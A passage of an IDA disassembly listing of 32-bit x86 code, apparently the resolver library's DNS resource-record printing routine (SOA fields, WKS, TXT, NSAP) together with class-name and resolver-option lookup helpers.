					; sub_805F7E4+3D3j ...
		xor	eax, eax
		jmp	loc_805FFF7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F818:				; CODE XREF: sub_805F7E4+16j
					; sub_805F7E4+20j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	short loc_805F810
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_8], eax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6D4
		mov	[ebp+var_1C], eax
		add	esi, 4
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		mov	[ebp+var_C], eax
		add	esi, 2
		mov	[ebp+var_14], esi
		add	esp, 10h
		cmp	dword_80786A4, 0
		jz	short loc_805F87E
		test	byte ptr dword_80786A4+1, 4
		jz	short loc_805F890

loc_805F87E:				; CODE XREF: sub_805F7E4+8Fj
		mov	ecx, [ebp+var_1C]
		push	ecx
		push	offset aLu	; "\t%lu"
		push	edi
		call	_IO_fprintf
		add	esp, 0Ch

loc_805F890:				; CODE XREF: sub_805F7E4+98j
		cmp	dword_80786A4, 0
		jz	short loc_805F8A2
		test	byte ptr dword_80786A4,	4
		jz	short loc_805F8B7

loc_805F8A2:				; CODE XREF: sub_805F7E4+B3j
		push	ebx
		call	sub_80605D0
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	_IO_fprintf
		add	esp, 10h

loc_805F8B7:				; CODE XREF: sub_805F7E4+BCj
		mov	ecx, [ebp+var_8]
		push	ecx
		call	__p_type
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	_IO_fprintf
		add	esp, 10h
		mov	eax, [ebp+var_8]
		dec	eax
		cmp	eax, 65h	; switch 102 cases 
		ja	loc_805FFA4	; default
		jmp	ds:off_805F8E4[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_805F8E4	dd offset loc_805FA7C, offset loc_805FB00, offset loc_805FFA4
					; DATA XREF: sub_805F7E4+F8r
		dd offset loc_805FFA4, offset loc_805FB00, offset loc_805FB84 ;	jump table for switch statement
		dd offset loc_805FB00, offset loc_805FB00, offset loc_805FB00
		dd offset loc_805FFA4, offset loc_805FEC0, offset loc_805FB00
		dd offset loc_805FB1C, offset loc_805FDEC, offset loc_805FCA0
		dd offset loc_805FD14, offset loc_805FDEC, offset loc_805FCA0
		dd offset loc_805FD14, offset loc_805FB1C, offset loc_805FCA0
		dd offset loc_805FDC8, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FCD0, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FFA4, offset loc_805FFA4, offset loc_805FFA4
		dd offset loc_805FE64, offset loc_805FE98, offset loc_805FE98
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FA7C:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	ebx, 1		; case 0x0
		jz	short loc_805FA86
		cmp	ebx, 4
		jnz	short loc_805FAF8

loc_805FA86:				; CODE XREF: sub_805F7E4+29Bj
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	bcopy
		add	esp, 0Ch
		cmp	[ebp+var_C], 4
		jnz	short loc_805FAB0
		mov	eax, [ebp+var_4]
		push	eax
		call	inet_ntoa
		push	eax
		push	offset aS_1	; "\t%s"
		jmp	loc_805FEAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FAB0:				; CODE XREF: sub_805F7E4+2B5j
		cmp	[ebp+var_C], 7
		jnz	loc_805FFB9
		mov	eax, [ebp+var_4]
		push	eax
		call	inet_ntoa
		mov	[ebp+var_24], eax
		add	esi, 4
		mov	bl, [esi]
		inc	esi
		push	esi
		call	sub_804D6B8
		add	esi, 2
		and	eax, 0FFFFh
		push	eax
		movzx	eax, bl
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		push	offset aSProtoDPortD ; "\t%s\t;	proto %d, port %d"
		push	edi
		call	_IO_fprintf
		add	esp, 1Ch
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FAF8:				; CODE XREF: sub_805F7E4+2A0j
		add	esi, [ebp+var_C]
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FB00:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x1
		cmp	[edi+18h], eax
		ja	short loc_805FB10
		push	9
		jmp	loc_805FE2F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB10:				; CODE XREF: sub_805F7E4+322j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		jmp	loc_805FE42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB1C:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	ecx, [ebp+var_C] ; case	0xc
		add	ecx, esi
		mov	[ebp+var_18], ecx
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FB3E
		push	esi
		push	ebx
		push	offset a_S	; "\t%.*s"
		push	edi
		call	_IO_fprintf
		add	esi, ebx
		add	esp, 10h

loc_805FB3E:				; CODE XREF: sub_805F7E4+346j
		cmp	[ebp+var_18], esi
		jbe	short loc_805FB64
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FB64
		push	esi
		push	ebx
		push	offset a_S	; "\t%.*s"
		push	edi
		call	_IO_fprintf
		add	esi, ebx
		add	esp, 10h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB64:				; CODE XREF: sub_805F7E4+35Dj
					; sub_805F7E4+365j
		cmp	[ebp+var_8], 0Dh
		jnz	loc_805FFB9
		push	offset aWarningOsTypeM ; "\n;; *** Warning *** OS-type missing"
		push	edi
		call	_IO_fprintf
		add	esp, 8
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB84:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x5
		cmp	[edi+18h], eax
		ja	short loc_805FB9C
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FBA5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FB9C:				; CODE XREF: sub_805F7E4+3A6j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FBA5:				; CODE XREF: sub_805F7E4+3B3j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FBD4
		push	20h
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FBDD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FBD4:				; CODE XREF: sub_805F7E4+3DFj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_805FBDD:				; CODE XREF: sub_805F7E4+3ECj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		push	edi
		push	offset asc_8069767 ; " (\n"
		call	_IO_fputs
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		push	offset aLuSerial ; "\t\t\t%lu\t; serial\n"
		push	edi
		call	_IO_fprintf
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuRefreshS ; "\t\t\t%lu\t; refresh (%s)\n"
		push	edi
		call	_IO_fprintf
		add	esp, 30h
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuRetryS ; "\t\t\t%lu\t; retry (%s)\n"
		push	edi
		call	_IO_fprintf
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuExpireS ; "\t\t\t%lu\t; expire (%s)\n"
		push	edi
		call	_IO_fprintf
		add	esp, 30h
		push	esi
		call	sub_804D6D4
		mov	ebx, eax
		add	esi, 4
		push	ebx
		call	sub_806077C
		push	eax
		push	ebx
		push	offset aLuMinimumS ; "\t\t\t%lu	)\t; minimum (%s)"
		push	edi
		call	_IO_fprintf
		add	esp, 18h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FCA0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	esi		; case 0xe
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		push	offset aD_1	; "\t%d	"
		push	edi
		call	_IO_fprintf
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 1Ch
		jmp	loc_805FE55
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FCD0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	esi		; case 0x19
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		push	offset aD_1	; "\t%d	"
		push	edi
		call	_IO_fprintf
		add	esi, 2
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	loc_805FE2D
		jmp	loc_805FE3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FD14:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	edi		; case 0xf
		push	offset asc_80697DB ; "\t\""
		call	_IO_fputs
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		add	esp, 8
		cmp	esi, ecx
		jnb	short loc_805FDA9
		nop

loc_805FD30:				; CODE XREF: sub_805F7E4+5C3j
		movzx	ebx, byte ptr [esi]
		inc	esi
		test	ebx, ebx
		jz	short loc_805FDA4
		mov	[ebp+var_10], ebx
		jle	short loc_805FDA4
		lea	esi, [esi+0]

loc_805FD40:				; CODE XREF: sub_805F7E4+5BEj
		cmp	[ebp+var_18], esi
		jbe	short loc_805FDA9
		cmp	byte ptr [esi],	0Ah
		jz	short loc_805FD4F
		cmp	byte ptr [esi],	22h
		jnz	short loc_805FD78

loc_805FD4F:				; CODE XREF: sub_805F7E4+564j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FD64
		push	5Ch
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FD6D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FD64:				; CODE XREF: sub_805F7E4+571j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	5Ch
		inc	dword ptr [edi+14h]

loc_805FD6D:				; CODE XREF: sub_805F7E4+57Ej
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		jbe	short loc_805FD80
		jmp	short loc_805FD90
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FD78:				; CODE XREF: sub_805F7E4+569j
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FD90

loc_805FD80:				; CODE XREF: sub_805F7E4+58Fj
		movzx	eax, byte ptr [esi]
		push	eax
		inc	esi
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FD9B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FD90:				; CODE XREF: sub_805F7E4+591j
					; sub_805F7E4+59Aj
		mov	edx, [edi+14h]
		mov	al, [esi]
		mov	[edx], al
		inc	esi
		inc	dword ptr [edi+14h]

loc_805FD9B:				; CODE XREF: sub_805F7E4+5AAj
		dec	[ebp+var_10]
		cmp	[ebp+var_10], 0
		jg	short loc_805FD40

loc_805FDA4:				; CODE XREF: sub_805F7E4+552j
					; sub_805F7E4+557j
		cmp	[ebp+var_18], esi
		ja	short loc_805FD30

loc_805FDA9:				; CODE XREF: sub_805F7E4+549j
					; sub_805F7E4+55Fj
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FDB8
		push	22h
		jmp	loc_805FF8A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805FDB8:				; CODE XREF: sub_805F7E4+5CBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	22h
		inc	dword ptr [edi+14h]
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FDC8:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		push	0		; case 0x15
		push	esi
		mov	ecx, [ebp+var_C]
		push	ecx
		call	inet_nsap_ntoa
		push	eax
		push	offset aS_1	; "\t%s"
		push	edi
		call	_IO_fprintf
		add	esi, [ebp+var_C]
		add	esp, 18h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FDEC:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0xd
		cmp	[edi+18h], eax
		ja	short loc_805FE04
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE0D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE04:				; CODE XREF: sub_805F7E4+60Ej
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FE0D:				; CODE XREF: sub_805F7E4+61Bj
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jz	loc_805F810
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FE3C

loc_805FE2D:				; CODE XREF: sub_805F7E4+524j
		push	20h

loc_805FE2F:				; CODE XREF: sub_805F7E4+326j
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE45
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE3C:				; CODE XREF: sub_805F7E4+52Aj
					; sub_805F7E4+647j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h

loc_805FE42:				; CODE XREF: sub_805F7E4+332j
		inc	dword ptr [edi+14h]

loc_805FE45:				; CODE XREF: sub_805F7E4+654j
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	esi
		call	sub_805F730
		mov	esi, eax
		add	esp, 0Ch

loc_805FE55:				; CODE XREF: sub_805F7E4+4E6j
		test	esi, esi
		jnz	loc_805FFB9
		jmp	loc_805F810
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE64:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		mov	eax, [edi+14h]	; case 0x63
		cmp	[edi+18h], eax
		ja	short loc_805FE7C
		push	9
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FE85
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE7C:				; CODE XREF: sub_805F7E4+686j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	9
		inc	dword ptr [edi+14h]

loc_805FE85:				; CODE XREF: sub_805F7E4+693j
		push	edi
		push	esi
		call	_IO_fputs
		add	esi, [ebp+var_C]
		add	esp, 8
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FE98:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0x64
		jnz	loc_805FFB9
		push	esi
		call	sub_804D6D4
		push	eax
		push	offset aU	; "\t%u"

loc_805FEAE:				; CODE XREF: sub_805F7E4+2C6j
		push	edi
		call	_IO_fprintf
		add	esi, 4
		add	esp, 10h
		jmp	loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FEC0:				; CODE XREF: sub_805F7E4+F8j
					; DATA XREF: sub_805F7E4+100o
		cmp	[ebp+var_C], 4	; case 0xa
		jle	loc_805FFB9
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	bcopy
		add	esi, 4
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_805EEA4
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	inet_ntoa
		add	esp, 4
		push	eax
		push	offset aSS	; "\t%s	%s ( "
		push	edi
		call	_IO_fprintf
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_20], 0
		add	esp, 20h
		jmp	short loc_805FF76
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FF0C:				; CODE XREF: sub_805F7E4+79Aj
		movzx	ecx, byte ptr [esi]
		mov	[ebp+var_10], ecx
		inc	esi
		nop

loc_805FF14:				; CODE XREF: sub_805F7E4+790j
		cmp	byte ptr [ebp+var_10], 0
		jge	short loc_805FF6C
		cmp	[ebp+var_20], 0
		jnz	short loc_805FF35
		push	edi
		push	offset asc_80697EC ; "\n\t\t\t"
		call	_IO_fputs
		mov	[ebp+var_20], 5
		add	esp, 8

loc_805FF35:				; CODE XREF: sub_805F7E4+73Aj
		push	edi
		push	ebx
		call	sub_805E9B8
		add	esp, 4
		push	eax
		call	_IO_fputs
		add	esp, 8
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FF60
		push	20h
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FF69
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FF60:				; CODE XREF: sub_805F7E4+76Aj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	20h
		inc	dword ptr [edi+14h]

loc_805FF69:				; CODE XREF: sub_805F7E4+777j
		dec	[ebp+var_20]

loc_805FF6C:				; CODE XREF: sub_805F7E4+734j
		shl	[ebp+var_10], 1
		inc	ebx
		test	bl, 7
		jnz	short loc_805FF14

loc_805FF76:				; CODE XREF: sub_805F7E4+724j
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_C]
		cmp	esi, eax
		jb	short loc_805FF0C
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FF98
		push	29h

loc_805FF8A:				; CODE XREF: sub_805F7E4+5CFj
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FF98:				; CODE XREF: sub_805F7E4+7A2j
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	29h
		inc	dword ptr [edi+14h]
		jmp	short loc_805FFB9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FFA4:				; CODE XREF: sub_805F7E4+F2j
					; sub_805F7E4+F8j
					; DATA XREF: ...
		mov	ecx, [ebp+var_8] ; default
		push	ecx
		push	offset a?D?	; "\t?%d?"
		push	edi
		call	_IO_fprintf
		add	esi, [ebp+var_C]
		add	esp, 0Ch

loc_805FFB9:				; CODE XREF: sub_805F7E4+2D0j
					; sub_805F7E4+30Dj ...
		mov	eax, [edi+14h]
		cmp	[edi+18h], eax
		ja	short loc_805FFD0
		push	0Ah
		push	edi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805FFD9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805FFD0:				; CODE XREF: sub_805F7E4+7DBj
		mov	eax, [edi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [edi+14h]

loc_805FFD9:				; CODE XREF: sub_805F7E4+7E8j
		mov	eax, esi
		sub	eax, [ebp+var_14]
		cmp	[ebp+var_C], eax
		jz	short loc_805FFF5
		mov	ecx, [ebp+var_C]
		push	ecx
		push	eax
		push	offset aPacketSizeErro ; ";; packet size error (found %d, dlen wa"...
		push	edi
		call	_IO_fprintf
		xor	esi, esi

loc_805FFF5:				; CODE XREF: sub_805F7E4+7FDj
		mov	eax, esi

loc_805FFF7:				; CODE XREF: sub_805F7E4+2Ej
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F7E4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000005C9 BYTES: COLLAPSED FUNCTION __p_type.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80605D0	proc near		; CODE XREF: sub_805F1DC+385p
					; sub_805F7E4+BFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 4
		jz	short loc_80605FC
		jg	short loc_80605E4
		cmp	eax, 1
		jz	short loc_80605F0
		jmp	short loc_8060614
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80605E4:				; CODE XREF: sub_80605D0+Bj
		cmp	eax, 0FFh
		jz	short loc_8060608
		jmp	short loc_8060614
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80605F0:				; CODE XREF: sub_80605D0+10j
		mov	eax, offset aIn	; "IN"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80605FC:				; CODE XREF: sub_80605D0+9j
		mov	eax, offset aHs	; "HS"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060608:				; CODE XREF: sub_80605D0+19j
		mov	eax, offset aAny ; "ANY"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060614:				; CODE XREF: sub_80605D0+12j
					; sub_80605D0+1Bj
		push	eax
		push	offset aD_0	; "%d"
		push	offset unk_807E3EC
		call	sprintf
		mov	eax, offset unk_807E3EC
		mov	esp, ebp
		pop	ebp
		retn
sub_80605D0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8060630	proc near		; CODE XREF: __fp_resstat+2Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 20h
		jz	loc_806070C
		ja	short loc_8060678
		cmp	eax, 4
		jz	loc_80606E8
		ja	short loc_8060660
		cmp	eax, 1
		jz	short loc_80606D0
		cmp	eax, 2
		jz	loc_80606DC
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060660:				; CODE XREF: sub_8060630+1Aj
		cmp	eax, 8
		jz	loc_80606F4
		cmp	eax, 10h
		jz	loc_8060700
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060678:				; CODE XREF: sub_8060630+Fj
		cmp	eax, 100h
		jz	loc_8060730
		ja	short loc_80606A0
		cmp	eax, 40h
		jz	loc_8060718
		cmp	eax, 80h
		jz	loc_8060724
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80606A0:				; CODE XREF: sub_8060630+53j
		cmp	eax, 400h
		jz	loc_8060748
		ja	short loc_80606C0
		cmp	eax, 200h
		jz	loc_806073C
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80606C0:				; CODE XREF: sub_8060630+7Bj
		cmp	eax, 800h
		jz	loc_8060754
		jmp	loc_8060760
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80606D0:				; CODE XREF: sub_8060630+1Fj
		mov	eax, offset aInit ; "init"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80606DC:				; CODE XREF: sub_8060630+24j
		mov	eax, offset aDebug_1 ; "debug"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80606E8:				; CODE XREF: sub_8060630+14j
		mov	eax, offset aAaonlyUnimpl ; "aaonly(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80606F4:				; CODE XREF: sub_8060630+33j
		mov	eax, offset aUsevc ; "usevc"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060700:				; CODE XREF: sub_8060630+3Cj
		mov	eax, offset aPrimryUnimpl ; "primry(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806070C:				; CODE XREF: sub_8060630+9j
		mov	eax, offset aIgntc ; "igntc"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060718:				; CODE XREF: sub_8060630+58j
		mov	eax, offset aRecurs ; "recurs"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060724:				; CODE XREF: sub_8060630+63j
		mov	eax, offset aDefnam ; "defnam"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060730:				; CODE XREF: sub_8060630+4Dj
		mov	eax, offset aStyopn ; "styopn"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806073C:				; CODE XREF: sub_8060630+82j
		mov	eax, offset aDnsrch ; "dnsrch"
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8060748:				; CODE XREF: sub_8060630+75j
		mov	eax, offset aInsecure1 ; "insecure1"
		mov	esp, ebp
		pop	ebp
		retn
